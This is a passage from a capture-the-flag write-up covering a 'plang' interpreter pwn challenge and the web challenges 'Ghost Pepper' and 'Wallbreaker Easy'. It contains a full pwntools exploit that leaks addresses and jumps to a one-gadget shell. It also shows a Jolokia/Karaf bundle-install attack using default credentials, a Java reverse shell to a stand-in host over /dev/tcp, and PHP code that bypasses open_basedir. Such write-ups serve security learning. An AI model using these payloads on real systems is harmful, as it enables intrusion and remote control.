System.print(lib[<span class="hljs-number">0x18</span>]+lib[<span class="hljs-number">0x19</span>]+lib[<span class="hljs-number">0x1a</span>]+lib[<span class="hljs-number">0x1b</span>]+lib[<span class="hljs-number">0x1c</span>]+lib[<span class="hljs-number">0x1d</span>]) # leak libc address
System.print(lib[<span class="hljs-number">0xd378</span>]+lib[<span class="hljs-number">0xd379</span>]+lib[<span class="hljs-number">0xd37a</span>]+lib[<span class="hljs-number">0xd37b</span>]+lib[<span class="hljs-number">0xd37c</span>]+lib[<span class="hljs-number">0xd37d</span>]) # leak text address</code></pre><h4 id="exploit"><a class="header-link" href="#exploit"></a>exploit</h4>
<p>At the end, I found a function address at 0x21E050. Since I have all the address I need, I can easily overwrite the function address with one gadget and get the shell.
By the way, you have to encode the one gadget address in <code>double</code> format, because all the number in the array are in <code>double</code> format</p>
<p>exploit script:</p>
<pre class="hljs"><code><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> struct
<span class="hljs-comment">#r=process("./plang")</span>
r=remote(<span class="hljs-string">"111.186.63.210"</span>, <span class="hljs-number">6666</span>)
payload=<span class="hljs-string">'''var a = "This is a Po"
System.print(a)
var b = [1, 0x123, 3, 7 , 8]
var c = [75, 0x123, 3, 7 , 0,40]
c[-0xe0]=1
c[-0xeaa]=1
System.print(c[0])
System.print(a[0x30]+a[0x31]+a[0x32]+a[0x33]+a[0x34]+a[0x35]+a[0x36]+a[0x37])
var lib=Num.toString
System.print(lib[0x18]+lib[0x19]+lib[0x1a]+lib[0x1b]+lib[0x1c]+lib[0x1d])
System.print(lib[0xd378]+lib[0xd379]+lib[0xd37a]+lib[0xd37b]+lib[0xd37c]+lib[0xd37d])
'''</span>
<span class="hljs-comment"># use payload to leak the addresses of heap, libc, text</span>
r.sendline(payload)
r.recvuntil(<span class="hljs-string">"75"</span>)
r.recvline()
r.recvuntil(<span class="hljs-string">"> "</span>)
k=r.recvline()[:<span class="hljs-number">-1</span>]
heap=u64(k+<span class="hljs-string">"\x00\x00"</span>)<span class="hljs-number">-0xd710</span>
<span class="hljs-keyword">print</span> <span class="hljs-string">"heap:"</span>+hex(heap)
r.recvuntil(<span class="hljs-string">"> > "</span>)
k=r.recvline()[:<span class="hljs-number">-1</span>]
lib=u64(k+<span class="hljs-string">"\x00\x00"</span>)<span class="hljs-number">-0x3ebd20</span>
<span class="hljs-keyword">print</span> <span class="hljs-string">"lib:"</span>+hex(lib)
r.recvuntil(<span class="hljs-string">"> "</span>)
k=r.recvline()[:<span class="hljs-number">-1</span>]
text=u64(k+<span class="hljs-string">"\x00\x00"</span>)<span class="hljs-number">-0x11504</span>
<span class="hljs-keyword">print</span> <span class="hljs-string">"text:"</span>+hex(text)
offset=<span class="hljs-number">0x16160</span>+heap-text<span class="hljs-number">-0x21E050</span>
<span class="hljs-keyword">print</span> <span class="hljs-string">"offset:"</span>+hex(offset)
<span class="hljs-keyword">print</span> <span class="hljs-string">"function pointer:"</span>+hex(text+<span class="hljs-number">0x21E050</span>)
onegadget=lib+(<span class="hljs-number">0x4f322</span>)
<span class="hljs-keyword">print</span> <span class="hljs-string">"onegadget:"</span>+hex(onegadget)
vv=<span class="hljs-string">"%.330f"</span> % struct.unpack(<span class="hljs-string">"d"</span>,p64(onegadget))[<span class="hljs-number">0</span>] <span class="hljs-comment">#encode one gadget address</span>
r.sendline(<span class="hljs-string">"c["</span>+<span class="hljs-string">"-"</span>+str(offset/<span class="hljs-number">16</span>)+<span class="hljs-string">"]="</span>+vv)
r.sendline(<span class="hljs-string">"var whatever=1"</span>) <span class="hljs-comment"># trigger one gadget</span>
r.sendline(<span class="hljs-string">"cat flag"</span>) <span class="hljs-comment">#flag{Th1s_language_is_4_bit_p00r}</span>
r.interactive()</code></pre><h2 id="web"><a class="header-link" href="#web"></a>Web</h2>
<h3 id="ghost-pepper"><a class="header-link" href="#ghost-pepper"></a>Ghost Pepper</h3>
<p>The server is running java-based web server <code>jetty</code>, deployed in Apache Karaf. The landing page is protected by HTTP Basic authentication. The default credential is <code>karaf/karaf</code> according to <a href="https://karaf.apache.org/manual/latest/webconsole">the doc</a>. The realm also indicates it's based on karaf.</p>
<p>Then we have no idea what to do next. I asked admin if scanning is allowed in this challenge. Surprisingly it's yes, and the admin also (accidentally?) posted a link <code>http://111.186.63.207:31337/jolokia/</code>. Jolokia is a JMX-HTTP bridge used to access JMX MBeans remotely. It's also known as a kind of pepper...... </p>
<p>We first list all the Jolokia supported operation via <code>/jolokia/list</code>. Only Java class is listed here:</p>
<pre class="hljs"><code>java<span class="hljs-selector-class">.util</span><span class="hljs-selector-class">.logging</span>
org<span class="hljs-selector-class">.eclipse</span><span class="hljs-selector-class">.jetty</span><span class="hljs-selector-class">.server</span><span class="hljs-selector-class">.session</span>
org<span class="hljs-selector-class">.ops4j</span><span class="hljs-selector-class">.pax</span><span class="hljs-selector-class">.web</span><span class="hljs-selector-class">.service</span><span class="hljs-selector-class">.jetty</span><span class="hljs-selector-class">.internal</span>
org<span class="hljs-selector-class">.eclipse</span><span class="hljs-selector-class">.jetty</span><span class="hljs-selector-class">.jmx</span>
osgi<span class="hljs-selector-class">.compendium</span>
java<span class="hljs-selector-class">.nio</span>
org<span class="hljs-selector-class">.apache</span><span class="hljs-selector-class">.karaf</span>
JMImplementation
org<span class="hljs-selector-class">.eclipse</span><span class="hljs-selector-class">.jetty</span><span class="hljs-selector-class">.util</span><span class="hljs-selector-class">.thread</span>
java<span class="hljs-selector-class">.lang</span>
com<span class="hljs-selector-class">.sun</span><span class="hljs-selector-class">.management</span>
jmx4perl
connector
sun<span class="hljs-selector-class">.nio</span><span class="hljs-selector-class">.ch</span>
org<span class="hljs-selector-class">.eclipse</span><span class="hljs-selector-class">.jetty</span><span class="hljs-selector-class">.server</span>
org<span class="hljs-selector-class">.apache</span><span class="hljs-selector-class">.aries</span><span class="hljs-selector-class">.blueprint</span>
org<span class="hljs-selector-class">.eclipse</span><span class="hljs-selector-class">.jetty</span><span class="hljs-selector-class">.io</span>
osgi<span class="hljs-selector-class">.core</span>
jolokia</code></pre><p>The <code>org.apache.karaf</code> class is interesting. <a href="https://karaf.apache.org/manual/latest-3.0.x/monitoring">It</a> seems like we can perform various operation via Karaf JMX. Let's list all the methods that Karaf supports:</p>
<pre class="hljs"><code><span class="hljs-built_in">name</span>=root,<span class="hljs-built_in">type</span>=http
{<span class="hljs-string">'Servlets'</span>: {<span class="hljs-string">'rw'</span>: <span class="hljs-literal">False</span>, <span class="hljs-string">'type'</span>: <span class="hljs-string">'javax.management.openmbean.TabularData'</span>, <span class="hljs-string">'desc'</span>: <span class="hljs-string">'Attribute exposed for management'</span>}}
<span class="hljs-built_in">name</span>=root,<span class="hljs-built_in">type</span>=config
[<span class="hljs-string">'getProperty'</span>, <span class="hljs-string">'install'</span>, <span class="hljs-string">'setProperty'</span>, <span class="hljs-string">'update'</span>, <span class="hljs-string">'create'</span>, <span class="hljs-string">'createFactoryConfiguration'</span>, <span class="hljs-string">'listProperties'</span>, <span class="hljs-string">'delete'</span>, <span class="hljs-string">'appendProperty'</span>, <span class="hljs-string">'deleteProperty'</span>]
<span class="hljs-built_in">name</span>=root,<span class="hljs-built_in">type</span>=bundle
[<span class="hljs-string">'getStartLevel'</span>, <span class="hljs-string">'resolve'</span>, <span class="hljs-string">'stop'</span>, <span class="hljs-string">'uninstall'</span>, <span class="hljs-string">'install'</span>, <span class="hljs-string">'restart'</span>, <span class="hljs-string">'start'</span>, <span class="hljs-string">'update'</span>, <span class="hljs-string">'refresh'</span>, <span class="hljs-string">'setStartLevel'</span>, <span class="hljs-string">'getStatus'</span>, <span class="hljs-string">'getDiag'</span>]
frameworkUUID=d3e4dc5b-<span class="hljs-number">876</span>c-<span class="hljs-number">4</span>e71-a679-<span class="hljs-number">6</span>da5d6fd588d,<span class="hljs-built_in">type</span>=RegionDigraph
[<span class="hljs-string">'getRegion'</span>]
<span class="hljs-built_in">name</span>=root,<span class="hljs-built_in">type</span>=<span class="hljs-built_in">log</span>
[<span class="hljs-string">'getLevel'</span>, <span class="hljs-string">'setLevel'</span>]
<span class="hljs-built_in">name</span>=root,<span class="hljs-built_in">type</span>=service
[<span class="hljs-string">'getServices'</span>]
<span class="hljs-built_in">name</span>=root,<span class="hljs-built_in">type</span>=feature
[<span class="hljs-string">'addRepository'</span>, <span class="hljs-string">'installFeature'</span>, <span class="hljs-string">'refreshRepository'</span>, <span class="hljs-string">'uninstallFeature'</span>, <span class="hljs-string">'infoFeature'</span>, <span class="hljs-string">'removeRepository'</span>]
frameworkUUID=d3e4dc5b-<span class="hljs-number">876</span>c-<span class="hljs-number">4</span>e71-a679-<span class="hljs-number">6</span>da5d6fd588d,<span class="hljs-built_in">name</span>=root,<span class="hljs-built_in">type</span>=Region
{<span class="hljs-string">'BundleIds'</span>: {<span class="hljs-string">'rw'</span>: <span class="hljs-literal">False</span>, <span class="hljs-string">'type'</span>: <span class="hljs-string">'[J'</span>, <span class="hljs-string">'desc'</span>: <span class="hljs-string">'BundleIds'</span>}, <span class="hljs-string">'Dependencies'</span>: {<span class="hljs-string">'rw'</span>: <span class="hljs-literal">False</span>, <span class="hljs-string">'type'</span>: <span class="hljs-string">'[Ljavax.management.ObjectName;'</span>, <span class="hljs-string">'desc'</span>: <span class="hljs-string">'Dependencies'</span>}, <span class="hljs-string">'Name'</span>: {<span class="hljs-string">'rw'</span>: <span class="hljs-literal">False</span>, <span class="hljs-string">'type'</span>: <span class="hljs-string">'java.lang.String'</span>, <span class="hljs-string">'desc'</span>: <span class="hljs-string">'Name'</span>}}
<span class="hljs-built_in">name</span>=root,<span class="hljs-built_in">type</span>=instance
[<span class="hljs-string">'stopInstance'</span>, <span class="hljs-string">'changeRmiRegistryPort'</span>, <span class="hljs-string">'createInstance'</span>, <span class="hljs-string">'cloneInstance'</span>, <span class="hljs-string">'destroyInstance'</span>, <span class="hljs-string">'changeSshPort'</span>, <span class="hljs-string">'changeSshHost'</span>, <span class="hljs-string">'renameInstance'</span>, <span class="hljs-string">'startInstance'</span>, <span class="hljs-string">'changeJavaOpts'</span>, <span class="hljs-string">'changeRmiServerPort'</span>]
area=jmx,<span class="hljs-built_in">name</span>=root,<span class="hljs-built_in">type</span>=security
[<span class="hljs-string">'canInvoke'</span>]
<span class="hljs-built_in">name</span>=root,<span class="hljs-built_in">type</span>=system
[<span class="hljs-string">'rebootCleanAll'</span>, <span class="hljs-string">'reboot'</span>, <span class="hljs-string">'halt'</span>, <span class="hljs-string">'getProperty'</span>, <span class="hljs-string">'setProperty'</span>, <span class="hljs-string">'getProperties'</span>, <span class="hljs-string">'rebootCleanCache'</span>]
<span class="hljs-built_in">name</span>=root,<span class="hljs-built_in">type</span>=kar
[<span class="hljs-string">'uninstall'</span>, <span class="hljs-string">'install'</span>, <span class="hljs-string">'create'</span>]
<span class="hljs-built_in">name</span>=root,<span class="hljs-built_in">type</span>=package
[<span class="hljs-string">'getImports'</span>, <span class="hljs-string">'getExports'</span>]
<span class="hljs-built_in">name</span>=root,<span class="hljs-built_in">type</span>=diagnostic
[<span class="hljs-string">'createDump'</span>]
<span class="hljs-built_in">name</span>=root,<span class="hljs-built_in">type</span>=scr
[<span class="hljs-string">'componentState'</span>, <span class="hljs-string">'activateComponent'</span>, <span class="hljs-string">'isComponentActive'</span>, <span class="hljs-string">'listComponents'</span>, <span class="hljs-string">'deactivateComponent'</span>]</code></pre><p>Bingo! There are lots of operation named <code>install</code>. We can probably exploit those API to deploy our malicious application. According to the <a href="http://karaf.apache.org/manual/latest/#_jmx_karmbean">documents</a>, we can deploy either a KAR or a bundle to the server to RCE. [Here] is a good article explaining how to deploy a KAR/bundle. The author also provives <a href="https://github.com/moghaddam/developmentor/blob/master/helloworld/target/helloworld-1.0.0.jar">a hello-world bundle on Github</a>.</p>
<p>Based on the hello-world bundle, we modified it to create a reverse webshell:</p>
<pre class="hljs"><code><span class="hljs-comment">//Activator.java</span>
<span class="hljs-keyword">package</span> com.blogspot.developmentor;
<span class="hljs-keyword">import</span> org.osgi.framework.BundleActivator;
<span class="hljs-keyword">import</span> org.osgi.framework.BundleContext;
<span class="hljs-keyword">public</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Activator</span> <span class="hljs-keyword">implements</span> <span class="hljs-title">BundleActivator</span> </span>{
<span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title">start</span><span class="hljs-params">(BundleContext context)</span> </span>{
<span class="hljs-keyword">try</span> {
Runtime.getRuntime().exec(<span class="hljs-keyword">new</span> String[]{<span class="hljs-string">"bash"</span>, <span class="hljs-string">"-c"</span>, <span class="hljs-string">"bash -i >& /dev/tcp/example.com/12345 0>&1"</span>}).waitFor();
} <span class="hljs-keyword">catch</span> (java.io.IOException e) {
} <span class="hljs-keyword">catch</span>(java.lang.InterruptedException ex) {
}
}
<span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title">stop</span><span class="hljs-params">(BundleContext context)</span> </span>{
}
}</code></pre><p>Then run <code>mvn clean compile package</code> and the following script to deploy the bundle automatically! Just set the secoond parameter to <code>true</code>.</p>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-keyword">import</span> requests
<span class="hljs-keyword">from</span> requests.auth <span class="hljs-keyword">import</span> HTTPBasicAuth
s =requests.session()
auth = HTTPBasicAuth(<span class="hljs-string">'karaf'</span>, <span class="hljs-string">'karaf'</span>)
json = {
<span class="hljs-string">'type'</span>: <span class="hljs-string">'EXEC'</span>,
<span class="hljs-string">"mbean"</span> : <span class="hljs-string">"org.apache.karaf:name=root,type=bundle"</span>,
<span class="hljs-string">"operation"</span>: <span class="hljs-string">"install(java.lang.String, boolean)"</span>,
<span class="hljs-string">"arguments"</span> : [<span class="hljs-string">'http://example.com/helloworld-1.0.0.jar'</span>, <span class="hljs-keyword">True</span>]
}
r = s.post(<span class="hljs-string">'http://111.186.63.207:31337/jolokia'</span>, auth=auth, json=json)</code></pre><p>The flag is <code>flag{DOYOULOVEJOLOKIA?ILOVEITVERYMUCH}</code>.</p>
<h4 id="failed-attempts"><a class="header-link" href="#failed-attempts"></a>Failed Attempts</h4>
<ul class="list">
<li>jetty 9.3.24 CVE: Unfortunately <a href="https://github.com/eclipse/jetty.project/blob/9b7afd8a0341f4712031abd322ab8669f07f5c5b/jetty-documentation/src/main/asciidoc/reference/troubleshooting/security-reports.adoc">most of the Jetty CVEs</a> are fixed in 9.3.24.</li>
<li><a href="https://karaf.apache.org/security/">Karaf CVE</a> and the <a href="https://nvd.nist.gov/vuln/detail/CVE-2019-0191">zip-slip CVE</a>: but we have to deploy our application first!</li>
<li>Karaf webconsole: The default port <code>8081</code> is not opened. I think the webconsole is not enabled.</li>
<li>Download <code>WEB-INF/web.xml</code>: Jetty <a href="https://github.com/eclipse/jetty.project/blob/jetty-9.4.x/jetty-server/src/main/java/org/eclipse/jetty/server/handler/ContextHandler.java#L1468-L1492">protects the path</a> pretty well. I tried to fuzz it but failed. It also considers the <a href="https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf">URL parameters</a> like <code>/foo;bar=b/bazz</code>. It's very robust.</li>
</ul>
<h3 id="wallbreaker-easy"><a class="header-link" href="#wallbreaker-easy"></a>Wallbreaker Easy</h3>
<h4 id="solution-1:-bypass-open_basedir"><a class="header-link" href="#solution-1:-bypass-open_basedir"></a>Solution 1: Bypass open_basedir</h4>
<ul class="list">
<li><p><code>phpinfo()</code></p>
<ul class="list">
<li><code>FPM/FastCGI</code></li>
<li><code>disable_functions</code>: <code>pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail</code></li>
</ul>
</li>
<li><p>We can use <code>glob</code> to bypass <code>open_basedir</code></p>
<ul class="list">
<li>only listing directory/file name</li>
<li>we can't read it.</li>
</ul>
</li>
</ul>
<pre class="hljs"><code>$file_list = <span class="hljs-keyword">array</span>();
$it = <span class="hljs-keyword">new</span> DirectoryIterator(<span class="hljs-string">"glob:///v??/run/php/*"</span>);
<span class="hljs-keyword">foreach</span>($it <span class="hljs-keyword">as</span> $f) {
$file_list[] = $f->__toString();
}
<span class="hljs-keyword">echo</span> <span class="hljs-number">1234</span>;
$it = <span class="hljs-keyword">new</span> DirectoryIterator(<span class="hljs-string">"glob:///v??/run/php/.*"</span>);
<span class="hljs-keyword">foreach</span>($it <span class="hljs-keyword">as</span> $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
<span class="hljs-keyword">foreach</span>($file_list <span class="hljs-keyword">as</span> $f){
<span class="hljs-keyword">echo</span> <span class="hljs-string">"{$f}<br/>"</span>;
}</code></pre><p>then I found the php-fpm unix socket is <code>/var/run/php/php7.2-fpm.sock</code></p>
<p>and some other users files under <code>/tmp</code>:</p>
<pre class="hljs"><code>phpjU1MT8
gbm.mvg
<span class="hljs-keyword">out</span>.txt
a.mvg
hook_setlocale.so
test.docx
flag6HQiRO
flagP172KD
flagXf9Py9
imgLr0ONK
imgdmFOiN
imgtTneHL
test
input
<span class="hljs-class"><span class="hljs-keyword">lib</span>.<span class="hljs-title">so</span></span>
haha.jpg
haha.so
magick-<span class="hljs-number">15</span>IU6hkSBzxfQU
magick-<span class="hljs-number">15</span>_c-AyGpZV64Y
magick-<span class="hljs-number">15</span>c0SdVOY2t0Rw
magick-<span class="hljs-number">35</span>PXaz2p6YWcU9
poc
poc.php
index.php
rsvg-convert
<span class="hljs-number">1</span>
ggg.png
|file -
ps.txt
bypass_disablefunc.php
bypass_disablefunc_x64.so
image1
image1.png
testXXXX
awesomefoo.jpg
awesomefoo.mvg
rpisec.mvg
a.php
kaibro.so
<span class="hljs-number">1</span>.php
poc.php
poc.xml
<span class="hljs-class"><span class="hljs-keyword">lib</span></span>
<span class="hljs-number">1</span>
bypass_disablefunc_x64.so
bypass_disablefunc_x64.so
shell.php
magick-<span class="hljs-number">11</span>kjeXi6XXo8aI
magick-<span class="hljs-number">16</span>CyaWpHQXyZLq
magick-<span class="hljs-number">16</span>xld7O5CUZKaV
rsvg-convert
someimg3.jpg
a.php
kaibro.so
some_dudes_output.mvg
adami.so
input
<span class="hljs-keyword">out</span>
dupa.so
flag
flag0MCNNZ
imgoTDOnX
outimgQpENAY
imgaaa.svg
shell.jpg
imgaaa.svg
ps.svg
vvvvvaIfIgR.mvg
bypass_disablefunc_x64.so
<span class="hljs-keyword">out</span>.ilbm
<span class="hljs-keyword">out</span>.txt
test.php
gbm.jpg
awesomefoo.gif
adami.so
dupa
dupax
input
<span class="hljs-class"><span class="hljs-keyword">lib</span>.<span class="hljs-title">so</span></span>
<span class="hljs-keyword">out</span>
haha.jpg
haha.so
cat.jpg
shell.jpg
vvvvvgMbpZ1.mvg
vvvvvgfxLId.mvg
poc.png
png.la
orange.so
wdwd1.so
php8PGzRh
phpMMksxY
phpWuofwP
phpi4mT51
phpuVbj0w
otsosi
rsvg-convert
gbm.jpg
someimg6.jpg
awesomefoo.gif
awesomefoo.ps
a.php
kaibro.so
adami.so
dupa
dupax
dupay
input
<span class="hljs-class"><span class="hljs-keyword">lib</span>.<span class="hljs-title">so</span></span>
<span class="hljs-keyword">out</span>
xD
haha.jpg
haha.so
dupa.so
flag
flaggF33r6
cat.jpg
shell.jpg
foobar.x
awesomefoo.gif
poc.png
exploit.php
png.la
png.so
orange.so
bypass_disablefunc_x64.so
<span class="hljs-keyword">out</span>.ilbm
<span class="hljs-keyword">out</span>.txt
test.php